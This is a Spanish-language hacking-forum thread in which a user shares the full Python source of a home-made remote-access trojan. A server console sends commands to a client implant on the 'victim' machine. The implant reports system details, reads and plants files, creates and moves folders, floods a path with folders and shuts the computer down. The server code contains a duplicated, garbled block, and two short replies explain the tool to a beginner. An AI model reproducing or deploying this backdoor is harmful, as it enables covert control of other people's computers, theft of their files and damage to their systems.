elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: Doble factor de autenticación o verificación en dos pasos


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  Codigo de troyano en python 3.8
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Codigo de troyano en python 3.8  (Leído 650 veces)
mobyblock

Desconectado Desconectado

Mensajes: 10


Ver Perfil
Codigo de troyano en python 3.8
« en: 27 Julio 2020, 16:05 »

Buenas a todos:

Aquí les dejo el código de mi primera backdoor, cualquier idea o error me la comentáis (la iré actualizando según añada cosas al código).
Servidor
Código:
#importamos las librerias
import socket #libreria para crear la conexion cliente/servidor
from colorama import Fore, Back, Style #libreria para decorar textos y banners
import colorama
import os #libreria de multiples usos
from time import sleep #libreria para crear pausas en segundos
import random #libreria para generar numeros aleatorios

#ajustar el tamaño terminal
if os.name == "posix": #comprobamos si el ordenador es de linux o windows
    os.system('printf "\033[8;10;42t"') #ajustamos la terminal en linux
elif os.name == "ce" or os.name == "nt" or os.name == "dos":
    os.system('mode con: cols=124 lines=40') #ajustamos la terminal en MacOs y windows

#funciones generales
def menuDeAyuda(): #imprime un menu de ayuda con todos los comandos disponibles
    borrarPantalla() #Usa la funcion limpiar pantalla para limpiar la terminal
    print(Fore.BLUE + "Esta es un lista de comandos disponibles") #Fore es usado para cambiar el color de las letras
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Info - Muestra informacion del sistema infectado                                     " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Dir - Muestra los archivos en el directorio actual                                   " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Close - Cierra la conexion                                                           " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Cls - Limpia la consola                                                              " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Cd - Cambia el directorio actual                                                     " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Help - Muestra este menu de ayuda                                                    " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Pwd - Muestra el directorio actual                                                   " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Shutdown - Apaga la computadora (solo windows)                                       " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Download - Lleva archivos comprimidos de tu ordenador  al \nordenador de la victima  " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Banner - Genera un banner aleatorio                                                  " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Col - Colapsa la ruta seleccionada con las carpetas indicadas                        " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Touch - Crea un archivo de texto en la ruta seleccionada                             " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Read - Sirve para leer documentos                                                    " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Compress - Comprime archivos en el ordenador de la victima                           " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Uncompress - Descomprime archivos en el ordenador de la victima                      " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Usr - Muestra el nombre de usuario de el ordenador infectado                         " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Mkdir - Crea una carpeta en la ruta espedificada                                     " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Move - Mueve archivos a la ruta seleccionada                                         " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")



def borrarPantalla(): #Limpia la terminal
    if os.name == "posix": #Si es linux limpia la pantalla en linux
        os.system ("clear")
    elif os.name == "ce" or os.name == "nt" or os.name == "dos": #Si es windows o mac os la limpia para esos sistemas
        os.system ("cls")

#Los banners son dibujitos que aparecen al ejecutar el script y al usar el comando banner
def banner1():
    print(Fore.BLACK + "\n\n" +
Back.BLACK + "     " + "                                                                                           \n" +
Back.BLACK + "     " + "                                                                                           \n" +
Back.BLACK + "     " + "           $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                           \n" +
Back.BLACK + "     " + "           $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                           \n" +
Back.BLACK + "     " + "           $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                           \n" +
Back.BLACK + "     " + "           $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                           \n" +
Back.BLACK + "     " + "           $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                           \n" +
Back.BLACK + "     " + "           $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                           \n" +
Back.BLACK + "     " + "           $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                           \n" +
Back.BLACK + "     " + "           $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                           \n" +
Back.BLACK + "     " + "  $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                  \n" +
Back.BLACK + "     " + "                                                                                           \n" +
Fore.BLUE + Back.BLACK + "\n" + "                          MY TROJAN")


def banner2():
    print(Fore.BLUE + "\n \n"
                      "$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n"
                      "$$" + Fore.GREEN +"oooooooooooooooooooooooooooooooooooooooooooooooooooooooo" + Fore.BLUE + "$$\n" +
                      "$$" + Fore.GREEN +"oooooooooooooo" + Fore.BLUE + "$$" + Fore.GREEN + "oooooooooooooooooooooo" + Fore.BLUE + "$$" + Fore.GREEN + "oooooooooooooooo" + Fore.BLUE + "$$\n" +
                      "$$" + Fore.GREEN +"ooooooooooooo" + Fore.BLUE + "$$" + Fore.GREEN + "oooooooooooooooooooooooo" + Fore.BLUE + "$$" + Fore.GREEN + "ooooooooooooooo" + Fore.BLUE + "$$\n" +
                      "$$" + Fore.GREEN +"ooooooooooooo" + Fore.BLUE + "$$" + Fore.GREEN + "oooooooooooooooooooooooo" + Fore.BLUE + "$$" + Fore.GREEN + "ooooooooooooooo" + Fore.BLUE + "$$\n" +
                      "$$" + Fore.GREEN +"oooooooooooooooooooooooooooooooooooooooooooooooooooooooo" + Fore.BLUE + "$$\n" +
                      "$$" + Fore.GREEN +"oooooooooooooo" + Fore.BLUE + "$" + Fore.GREEN + "oooooooooooooooooooooooo" + Fore.BLUE + "$" + Fore.GREEN + "oooooooooooooooo" + Fore.BLUE + "$$\n" +
                      "$$" + Fore.GREEN +"ooooooooooooooo" + Fore.BLUE + "$" + Fore.GREEN + "oooooooooooooooooooooo" + Fore.BLUE + "$" + Fore.GREEN + "ooooooooooooooooo" + Fore.BLUE + "$$\n" +
                      "$$" + Fore.GREEN +"oooooooooooooooo" + Fore.BLUE + "$$$$$$$$$$$$$$$$$$$$$$" + Fore.GREEN + "oooooooooooooooooo" + Fore.BLUE + "$$\n" +
                      "$$" + Fore.GREEN +"oooooooooooooooooooooooooooooooooooooooooooooooooooooooo" + Fore.BLUE + "$$\n" +                                                
                      "$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n"
                      " $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n"
                      "  $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n"
                      "   $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n"
                      "    $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n"
                      "     $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n"
                      "                                                                   \n"
                      "                          MY TROJAN                                  ")


def banner3():
    print(Fore.YELLOW + "\n\n"
                        "                               000000000000000000000000000000000000000                                                    \n"
                        "                               000000000000000000000000000000000000000                                                    \n"
                        "                               000000000000000000000000000000000000000                                                    \n"
                        "                               0000000                          000000  0000000000000                                     \n"
                        "    ****000000000000000000000000000000                          000000000000000000  000                                   \n"
                        " *****00000000000000000000000000000000                          000000000000         |                                    \n"
                        "    ****000000000000000000000000000000                          00000000000000000000000                                   \n" + Fore.BLUE)

def banner4():
    print(Fore.WHITE + "        $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                                     \n"
                       "       $                                     $                                                    \n"
                       "      $   $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                                     \n"
                       "     $   $                                                                                        \n"
                       "    $   $                                                                                         \n"
                       "   $   $                                                                                          \n"
                       "  $   $                                                      $$$$                 $$$$            \n"
                       " $   $                                                       $$$$                 $$$$            \n"
                       "$   $                                                   $$$$$$$$$$$$$$       $$$$$$$$$$$$$$       \n"
                       "$   $                                                   $$$$$$$$$$$$$$       $$$$$$$$$$$$$$       \n"
                       " $   $                                                       $$$$                 $$$$            \n"
                       "  $   $                                                      $$$$                 $$$$            \n"
                       "   $   $                                                                                          \n"
                       "    $   $                                                                                         \n"
                       "     $   $                                                                                        \n"
                       "      $   $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                                     \n"
                       "       $                                     $                                                    \n"
                       "        $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                                     \n" + Fore.BLUE)


def defineBanner(): #Esta funcion define un banner aleatorio
    num = random.randint(1, 4) #Genera un numero aleatorio entre 1 y 4

    if(num == 1): #Dependiendo de que numero sea usa un banner diferente
        banner1()
    if(num == 2):
        banner2()
    if(num == 3):
        banner3()
    if(num == 4):
        banner4()

#Iniciar colorama
colorama.init() #Inicia colorama para poder colorear

#Poner socket en linea
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #Define socket
s.bind(('127.0.0.1', 1234)) #Lo pone en modo servidor
#poner socket a la escucha
s.listen()

#decoracion
borrarPantalla() #Borra la pantalla para evitar problemas
defineBanner() #Llama a la funcion defineBanner para dibujar un banner aleatorio
print(Fore.BLUE + "Esperando una conexion...") #Muestra que esta esperando una conexion para aclarar dudas

#variables generales
guid = "" #Es la variable donde se introducira el comando a usar
cmdList = ["Help", "Close", "Cls", "Cd", "Info", "Dir", "Pwd", "Shutdown", "Download", "Banner", "Col", "Touch", "Read", "Uncompress", "Compress", "Usr", "Mkdir", "Move"] #Es una lista de todos los comandos que use para evitar errores

#aceptar nueva conexion
clientsocket, address = s.accept() #Si el cliente solicita unirse acepta la conexion

#mostrar informacion basica de la nueva conexion
marca = clientsocket.recv(1024) #Recive una informacion enviada desde el cliente y la almacena en la variable marca
marca.decode("utf-8") #Descodifica e mensaje (siempre hay que codificar para enviar y lo contrario al recivir)
print(Fore.BLUE + f"New connection from a {marca}/{address}") #Imprime el sistema operativo y la direccion ip del sistema infectado

while True: #Empieza a recibir ordenes para enviar
            #Me quedan hacer muchas cosas aqui entre ellas
            #Pedir una respuesta de confirmacion en cada comando
            #(Solo lo tengo en algunos)

    guid = input() #Pide que ingreses un comando

    try: #Intenta ejecutar el siguiente codigo
        if(guid != ""): #Comprueba que el comando introducido sea diferente a nada
            if(guid == "Banner"): #Si es igual a Banner usa la funcion defindeBanner para imprimir un banner
                defineBanner()
            if(guid == "Help"): #Si es igual a Help imprime el menu de ayuda
                menuDeAyuda()
            if(guid == "Close"): #Si es igual a Close cierra la conexion
                clientsocket.send(bytes(guid, "utf-8")) #Envia el comando al cliente para cerrar la conexion desde hay tambien
                print(Fore.YELLOW + "La conexion se a roto" + Fore.RED)
                sleep(1) #Espera un segundo
                print("Ya no podra ejecutar mas comandos en la victima..." + Fore.BLUE)
                os.system("pause") #Crea una pausa
                break #Cierra el bucle para que se cierre el programa
            if(guid == "Cls"): #Si el comando es igual a Cls limpia la consola con la funcion borrarPantalla
                borrarPantalla()
            if(guid == "Cd"): #Si el comando es igual a Cd
                clientsocket.send(bytes(guid, "utf-8")) #Envia el comando al cliente
                direc = input("Cual es la ruta a la que moverse...") #Pide que escriba la ruta a la que se quiere mover
                clientsocket.send(bytes(direc, "utf-8")) #La manda al cliente
            if(guid == "Info" or guid == "Dir" or guid == "Pwd" or guid == "Usr"): #Estos tres comandos son muy similares ya que solo muestran informacion de la victima
                clientsocket.send(bytes(guid, "utf-8"))
                respuesta = clientsocket.recv(10024)
                print(Fore.BLUE + "-------------------------------------------")
                print(respuesta.decode("utf-8"))
                print(Fore.BLUE + "-------------------------------------------")
            if(guid == "Shutdown"): #Si el comando es igual a Shutdown
                clientsocket.send(bytes(guid, "utf-8")) #Envia el comando a la victima para que reciva la orden
                print("La conexion se perdera al apagar el ordenador(solo funciona en windows)")
                break #Rompe el bucle para que acabe el programa
            if(guid == "Download"): #Si el comando es igual a Download(este me costo montarlo asi que si no entiendes no te procupes)
                clientsocket.send(bytes(guid, "utf-8")) #Envia la orden al cliente
                fileName = input("Nombre y extension del nuevo archivo...") #Pide el nombre y la extension del nuevo archivo
                clientsocket.send(bytes(fileName, "utf-8")) #Envia los datos anteriores
                file = input("Archivo que quiere descargar en la conexion...") #Pide la ruta de un archivo .zip o .rar en tu ordenador para pasarlo al de la victima
                f = open(file, 'rb') #Abre ese archivo con permisos de lectura para leer el binario(todos los archivos estan formados por binario)
                fileData = f.read(99999999) #Lee el binario obtenido
                clientsocket.send(fileData) #Lo envia(no hace falta codificarlo porque ya esta codificado)
                print("Archivo enviado...")
                respuestaDeComprobacion = clientsocket.recv(1024) #Recibe la respuesta del cliente
                print(respuestaDeComprobacion.decode("utf-8")) #Y la muestra por pantalla
            if(guid == "Col"):#Si el comando es igual a Col
                clientsocket.send(bytes(guid, "utf-8")) #Envia la orden al cliente
                numC = input("Cuantas carpetas quiere crear...") #Pregunta al usuario cuantas carpetas quiere crear
                clientsocket.send(bytes(numC, "utf-8")) #Lo manda al cliente
                colPath = input("Cual es la ruta que desea colapsar...") #Pregunta cual es la ruta a colapsar
                clientsocket.send(bytes(numC, "utf-8")) #La envia
                print(Fore.YELLOW + "Colapsando..." + Fore.BLUE)
                print("Esperando respuesta...")
                respuesta = clientsocket.recv(1024) #Recoge la respuesta de confirmacion
                print(respuesta.decode("utf-8")) #La imprime
            if(guid == "Touch"): #Si es igual a Touch
                clientsocket.send(bytes(guid, "utf-8")) #Envia la orden al cliente
                titulo = input("Titulo del documento...") #Pregunta por el titulo del documento(extension incluida)
                clientsocket.send(bytes(titulo, "utf-8")) #La envia al cliente
                filePath = input("Ruta donde el documento se creara...") #Pide que ingrese la ruta donde se creara el documento
                clientsocket.send(bytes(filePath, "utf-8")) #La envia al cliente
                content = input("Contenido del documento...") #Pregunta por el contenido del documento
                clientsocket.send(bytes(content, "utf-8")) #Lo envia al cliente
                print("Esperando respuesta")
                respuestaDeConfrimacion = clientsocket.recv(1024) #Recive la respuesta del cliente
                print(respuestaDeConfirmacion.decode("utf-8")) #La imprime en la consola
            if(guid == "Read"): #Si la orden es igual a Read
                clientsocket.send(bytes(guid, "utf-8")) #La envia al cliente
                fileRead = input("Ruta del archivo que desea leer(procure que el archivo no sea muy extenso)...") #Pregunta sobre la ruta del documento
                clientsocket.send(bytes(fileRead, "utf-8")) #La manda al cliente
                cont = clientsocket.recv(999999) #Recibe la respuesta del cliente(o el contenido o un error)
                print("----------------------------------------------------")
                print(cont.decode("utf-8")) #La imprime
                print("----------------------------------------------------")
            if(guid == "Uncompress"): #Si el comando es igual a Uncompress(otro complicado)
                clientsocket.send(bytes(guid, "utf-8")) #Envia la orden al cliente
                uncompressPath = input("Introduzca la ruta del archivo a descomprimir...") #Pide la ruta del archivo a descomprimir
                clientsocket.send(bytes(uncompressPath, "utf-8")) #La envia
                finalPath = input("Introduzca la ruta en la que desea decomprimir el archivo(sin el archivo)...") #Pide la ruta en la que se quiere descomprimir
                clientsocket.send(bytes(finalPath, "utf-8")) #La envia
                print("Esperando respuesta....")
                respuesta = clientsocket.recv(1024) #Recibe la respuesta de confirmacion
                print(respuesta.decode("utf-8")) #La imprime
            if(guid == "Compress"): #Si es igual a Compress
                clientsocket.send(bytes(guid, "utf-8")) #Envia la orden
                nombreDelArchivo = input("Nombre del archivo...") #Pregunta el nuevo nombre(extension .rar .zip o similares)
                clientsocket.send(bytes(nombreDelArchivo, "utf-8")) #La envia
                rutaDelArchivo = input("Ruta del archivo a comprimir...") #Pregunta la ruta del archivo a comprimir
                clientsocket.send(bytes(rutaDelArchivo, "utf-8")) #La envia
                print("Esperando respuesta...")
                respuesta = clientsocket.recv(1024) #Recive respuesta del cliente
                print(respuesta.decode("utf-8")) #La imprime
            if(guid == "Mkdir"): #Si la orden es Mkdir
                clientsocket.send(bytes(guid, "utf-8")) # Envia la orden
                path = input("Ingrese la ruta...") #Pide la ruta de la nueva carpeta
                clientsocket.send(bytes(path, "utf-8")) #La envia al cliente
                print("Esperando respuesta...")
                respuesta = clientsocket.recv(1024) #Recibe la respuesta de confirmacion
                print(respuesta.decode("utf-8")) #La imprime
            if(guid == "Move"): #Si la orden es igual a Move
                clientsocket.send(bytes(guid, "utf-8")) #La envia al cliente
                movePath = input("Ruta del archivo a mover...") #Pide la ruta del archivo a mover
                clientsocket.send(bytes(movePath, "utf-8")) #La envia
                moveDestiny = input("Ruta de destino...") #Pide la nueva ruta
                clientsocket.send(bytes(moveDestiny, "utf-8")) #La envia
                print("Esperando respuesta...")
                respuestaDeConfirmacion = clientsocket.recv(1024) #Recibe la respuesta del cliente
                print(respuestaDeConfirmacion.decode("utf-8")) #La imprime
            if(guid != cmdList[0] and guid != cmdList[1] and guid != cmdList[2] and guid != cmdList[3] and guid != cmdList[4] and guid != cmdList[5] and guid != cmdList[6] and guid != cmdList[7] and guid != cmdList[8] and guid != cmdList[9] and guid != cmdList[10] and guid != cmdList[11] and guid != cmdList[12] and guid != cmdList[13] and guid != cmdList[14] and guid != cmdList[15] and guid != cmdList[16] and guid != cmdList[17]): #Comprueba si el comando ingresado esta en la lista de comandos
                print(Fore.RED + "Debe introducir un comando valido..." + Fore.BLUE) #Si no esta imprime esto


    except:#Si en el primer try que vimos hay algun error y no consigue ejecuar el codigo
        print(Fore.RED + "Ha ocurrido un error, es probable que la conexion haya caido..." + Fore.BLUE) #Imprime esto y asi evitamos que se cierre el programa                clientsocket.send(bytes(path, "utf-8")) #La envia al cliente
                print("Esperando respuesta...")
                respuesta = clientsocket.recv(1024) #Recibe la respuesta de confirmacion
                print(respuesta.decode("utf-8")) #La imprime
            if(guid == "Move"): #Si la orden es igual a Move
                clientsocket.send(bytes(guid, "utf-8")) #La envia al cliente
                movePath = input("Ruta del archivo a mover...") #Pide la ruta del archivo a mover
                clientsocket.send(bytes(movePath, "utf-8")) #La envia
                moveDestiny = input("Ruta de destino...") #Pide la nueva ruta
                clientsocket.send(bytes(moveDestiny, "utf-8")) #La envia
                print("Esperando respuesta...")
                respuestaDeConfirmacion = clientsocket.recv(1024) #Recibe la respuesta del cliente
                print(respuestaDeConfirmacion.decode("utf-8")) #La imprime
            if(guid != cmdList[0] and guid != cmdList[1] and guid != cmdList[2] and guid != cmdList[3] and guid != cmdList[4] and guid != cmdList[5] and guid != cmdList[6] and guid != cmdList[7] and guid != cmdList[8] and guid != cmdList[9] and guid != cmdList[10] and guid != cmdList[11] and guid != cmdList[12] and guid != cmdList[13] and guid != cmdList[14] and guid != cmdList[15] and guid != cmdList[16] and guid != cmdList[17]): #Comprueba si el comando ingresado esta en la lista de comandos
                print(Fore.RED + "Debe introducir un comando valido..." + Fore.BLUE) #Si no esta imprime esto


    except:#Si en el primer try que vimos hay algun error y no consigue ejecuar el codigo
        print(Fore.RED + "Ha ocurrido un error, es probable que la conexion haya caido..." + Fore.BLUE) #Imprime esto y asi evitamos que se cierre el programa
Cliente
Código:
import socket
import subprocess
import platform
import os
import getpass
import time
import zipfile
import patoolib
from shutil import move

var = False
espera = 1
while var == False:
    try:
        client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        client.connect(('127.0.0.1', 1234))
        var = True
    except:
        print("furrula")
        time.sleep(60)


client.send(bytes(f"{platform.system()}", "utf-8"))
while True:

    sysInfo = f"""
    Operating System: {platform.system()}
    Computer Name: {platform.node()}
    Username: {getpass.getuser()}
    Release Version: {platform.release()}
    Processor Architecture: {platform.processor()}
                """
    msg = client.recv(100)
    msg.decode("utf-8")
    print(msg)

    if(msg == b'Info'):
        client.send(bytes(sysInfo, "utf-8"))

    if(msg == b'Dir'):
        client.send(bytes(str(os.listdir(".")), "utf-8"))

    if(msg == b'Cd'):
        direc = client.recv(100)
        direc.decode("utf-8")
        os.chdir(direc)

    if(msg == b'Pwd'):
        ruta = f'{os.getcwd()}'
        print(ruta)
        client.send(bytes(ruta, "utf-8"))

    if(msg == b'Shutdown'):
        os.system('shutdown -s -t 1')

    if (msg == b'Close'):
        break

    if(msg == b'Col'):
        numC = client.recv(1024)
        colPath = client.recv(1024)
        for i in range(0, int(numC)):
            rutaColapsada = colPath.decode("utf-8") + "\\" + str(i)
            if os.path.exists(rutaColapsada):
                rutaColapsada = rutaColapsada + str(arregloParaRutas)
                os.mkdir(rutaColapsada)
            else:
                os.mkdir(rutaColapsada)
        client.send(bytes("Proceso terminado", "utf-8"))

    if(msg == b'Touch'):
        try:
            titulo = client.recv(1024)
            print(titulo)
            filePath = client.recv(1024)
            print(filePath)
            contenido = client.recv(100024)
            print(contenido)
            file = open(filePath.decode("utf-8") + "\\" + titulo.decode("utf-8"), "w")
            print("Creado")
            file.write(contenido.decode("utf-8"))
            file.close()
            cliente.send(bytes("Creado correctamente", "utf-8"))
        except:
            client.send(bytes("A ocuriido un error", "utf-8"))
    if(msg == b'Download'):
        try:
            fileName = client.recv(100)
            f = open(fileName, 'wb')
            print(fileName)
            fileData = client.recv(99999999)
            print(fileData)
            time.sleep(2)
            f.write(fileData)
            f.close()
            client.send(bytes("Creado correctamente", "utf-8"))

        except:
            client.send(bytes("Ha ocurrido un error, probablemente no tengas los permisos suficientes", "utf-8"))

    if(msg == b'Read'):
        pathFile = client.recv(1024)
        pathFile.decode("utf-8")
        f = open(pathFile, 'rb')
        fileData = f.read(99999)
        client.send(fileData)

    if(msg == b'Uncompress'):
        try:
            uncompressPath = client.recv(1024)
            uncompressDestiny = client.recv(1024)
            patoolib.extract_archive(uncompressPath.decode("utf-8"), outdir=uncompressDestiny.decode("utf-8"))
            client.send(bytes("Descomprimido correctamente", "utf-8"))
        except:
            client.send(bytes("A ocurrido un error", "utf-8"))


    if(msg == b'Usr'):
        client.send(bytes(getpass.getuser(), "utf-8"))

    if(msg == b'Compress'):
        try:
            name = client.recv(1024)
            namePath = client.recv(1024)

            jungle_zip = zipfile.ZipFile(name.decode("utf-8"), 'w')
            jungle_zip.write(namePath.decode("utf-8"), compress_type=zipfile.ZIP_DEFLATED)

            jungle_zip.close()
            client.send(bytes("Comprimido correctamente", "utf-8"))

        except:
            client.send(bytes("A ocurrido un error", "utf-8"))

    if(msg == b'Mkdir'):
        try:
            path = client.recv(1024)
            os.mkdir(path.decode("utf-8"))
            client.send(bytes("Creada correctamente", "utf-8"))
            print("enviado")
        except:
            client.send(bytes("A ocurrido un error", "utf-8"))

    if(msg == b'Move'):
        try:
            movePath = client.recv(1024)
            moveDestiny = client.recv(1024)
            move(movePath.decode("utf-8"), moveDestiny.decode("utf-8"))
            client.send(bytes("Transportado correctamente", "utf-8"))
        except:
            client.send(bytes("A ocurrido un error", "utf-8"))

    time.sleep(espera)









Postdata: Algunas librerías hay que instalarlas con pip ;) ;)
« Última modificación: 30 Julio 2020, 10:11 por mobyblock » En línea

BlowFlow04

Desconectado Desconectado

Mensajes: 7


Ver Perfil
Re: Codigo de backdoor en python
« Respuesta #1 en: 27 Julio 2020, 16:22 »

Me puedes explicar como funciona estos dos codigos? Estoy empezando... Un resumen jeje.
En línea

mobyblock

Desconectado Desconectado

Mensajes: 10


Ver Perfil
Re: Codigo de backdoor en python
« Respuesta #2 en: 27 Julio 2020, 16:59 »

Me puedes explicar como funciona estos dos codigos? Estoy empezando... Un resumen jeje.
El server se pone en linea y espera la conexión del cliente, cuando el cliente se conecta te permite ejecutar algunos comandos (escribe Help para verlos).
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Python] Ayuda con mini troyano
Scripting
.:Swik:. 3 3,873 Último mensaje 7 Junio 2010, 22:09
por Debci
¿se puede hacer un troyano en python? « 1 2 »
Análisis y Diseño de Malware
0xDani 11 13,978 Último mensaje 19 Septiembre 2012, 00:16
por WarGhost
Codigo fuente de un troyano en python
Análisis y Diseño de Malware
AdeLax 8 6,820 Último mensaje 10 Enero 2013, 21:38
por Ulianov
[Python] Troyano
Scripting
177600531 2 1,698 Último mensaje 22 Septiembre 2013, 06:20
por F3niX14
[Python] Como convertir codigo de Python a .exe? « 1 2 »
Scripting
n1sen 10 3,067 Último mensaje 17 Agosto 2017, 16:07
por daryo
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines